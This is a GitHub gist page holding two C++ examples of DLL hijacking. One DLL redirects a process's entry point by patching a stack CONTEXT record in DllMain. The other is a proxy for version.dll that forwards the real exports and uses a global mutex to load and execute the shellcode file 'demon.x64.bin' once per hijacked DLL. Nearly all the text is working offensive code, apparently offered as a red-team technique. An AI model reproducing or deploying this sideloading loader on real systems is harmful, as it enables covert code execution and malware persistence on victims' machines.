Skip to content

Instantly share code, notes, and snippets.

@mrexodia
Last active July 7, 2024 13:05
Show Gist options
  • Save mrexodia/6b8a042887c71f007a1c45a06682c2d9 to your computer and use it in GitHub Desktop.
Save mrexodia/6b8a042887c71f007a1c45a06682c2d9 to your computer and use it in GitHub Desktop.
Example code to show how to execute shellcode from DllMain only once per hijacked DLL.
#include <Windows.h>
#include <intrin.h>
typedef void (*RtlUserThreadStart_t)(PTHREAD_START_ROUTINE fpTransferAddress, PVOID pContext);
static RtlUserThreadStart_t original_RtlUserThreadStart;
static void hook_RtlUserThreadStart(PTHREAD_START_ROUTINE fpTransferAddress, PVOID pContext)
{
MessageBoxA(0, "!Entry point hijacked", "Success", MB_SYSTEMMODAL | MB_RTLREADING);
original_RtlUserThreadStart(fpTransferAddress, pContext);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{
auto ntdll = GetModuleHandleA("ntdll.dll");
original_RtlUserThreadStart = (RtlUserThreadStart_t)GetProcAddress(ntdll, "RtlUserThreadStart");
auto imageBase = (ULONG_PTR)GetModuleHandleA(NULL);
auto pdh = (PIMAGE_DOS_HEADER)imageBase;
auto pnth = (PIMAGE_NT_HEADERS)(imageBase + pdh->e_lfanew);
auto entryPoint = imageBase + pnth->OptionalHeader.AddressOfEntryPoint;
auto stackStart = (unsigned char*)_AddressOfReturnAddress();
for (size_t i = 0; i < 0x1000; i++)
{
auto ctx = (CONTEXT*)(stackStart + i);
if (ctx->Rip == (ULONG_PTR)original_RtlUserThreadStart && ctx->Rcx == entryPoint)
{
ctx->Rip = (ULONG_PTR)hook_RtlUserThreadStart;
break;
}
}
}
return TRUE;
}
// Generated using https://github.com/mrexodia/perfect-dll-proxy
#include <Windows.h>
#include <stdio.h>
#ifdef _WIN64
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\System32\\version.dll"
#else
#define DLLPATH "\\\\.\\GLOBALROOT\\SystemRoot\\SysWOW64\\version.dll"
#endif // _WIN64
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=" DLLPATH ".GetFileVersionInfoA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=" DLLPATH ".GetFileVersionInfoByHandle")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExA=" DLLPATH ".GetFileVersionInfoExA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=" DLLPATH ".GetFileVersionInfoExW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=" DLLPATH ".GetFileVersionInfoSizeA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExA=" DLLPATH ".GetFileVersionInfoSizeExA")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=" DLLPATH ".GetFileVersionInfoSizeExW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=" DLLPATH ".GetFileVersionInfoSizeW")
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=" DLLPATH ".GetFileVersionInfoW")
#pragma comment(linker, "/EXPORT:VerFindFileA=" DLLPATH ".VerFindFileA")
#pragma comment(linker, "/EXPORT:VerFindFileW=" DLLPATH ".VerFindFileW")
#pragma comment(linker, "/EXPORT:VerInstallFileA=" DLLPATH ".VerInstallFileA")
#pragma comment(linker, "/EXPORT:VerInstallFileW=" DLLPATH ".VerInstallFileW")
#pragma comment(linker, "/EXPORT:VerLanguageNameA=" DLLPATH ".VerLanguageNameA")
#pragma comment(linker, "/EXPORT:VerLanguageNameW=" DLLPATH ".VerLanguageNameW")
#pragma comment(linker, "/EXPORT:VerQueryValueA=" DLLPATH ".VerQueryValueA")
#pragma comment(linker, "/EXPORT:VerQueryValueW=" DLLPATH ".VerQueryValueW")
static void runShellcode()
{
auto fp = fopen("demon.x64.bin", "rb");
if (fp == nullptr)
{
MessageBoxA(0, "Failed to open demon.x64.bin", "Error", MB_ICONERROR);
return;
}
fseek(fp, 0, SEEK_END);
auto size = ftell(fp);
fseek(fp, 0, SEEK_SET);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_READWRITE);
if (exec == nullptr)
{
MessageBoxA(0, "Failed to allocate memory", "Error", MB_ICONERROR);
return;
}
fread(exec, 1, size, fp);
fclose(fp);
DWORD oldProtect = 0;
VirtualProtect(exec, size, PAGE_EXECUTE_READ, &oldProtect);
HANDLE threadHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
if (threadHandle)
{
CloseHandle(threadHandle);
}
}
static unsigned int fnv1a_lower(const char* str)
{
unsigned int hash = 2166136261;
while (*str)
{
unsigned char ch = *str++;
if (ch >= 'a' && ch <= 'z') {
ch -= 32;
}
hash ^= ch;
hash *= 16777619;
}
return hash;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{
// Create a global mutex with a name based on the DLL path, to make sure the shellcode is only run once
char temp[MAX_PATH] = "";
GetModuleFileNameA(hinstDLL, temp, _countof(temp));
sprintf(temp, "Global\\shellcode-%08x", fnv1a_lower(temp));
if (CreateMutexA(NULL, TRUE, temp) && GetLastError() != ERROR_ALREADY_EXISTS)
{
runShellcode();
}
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment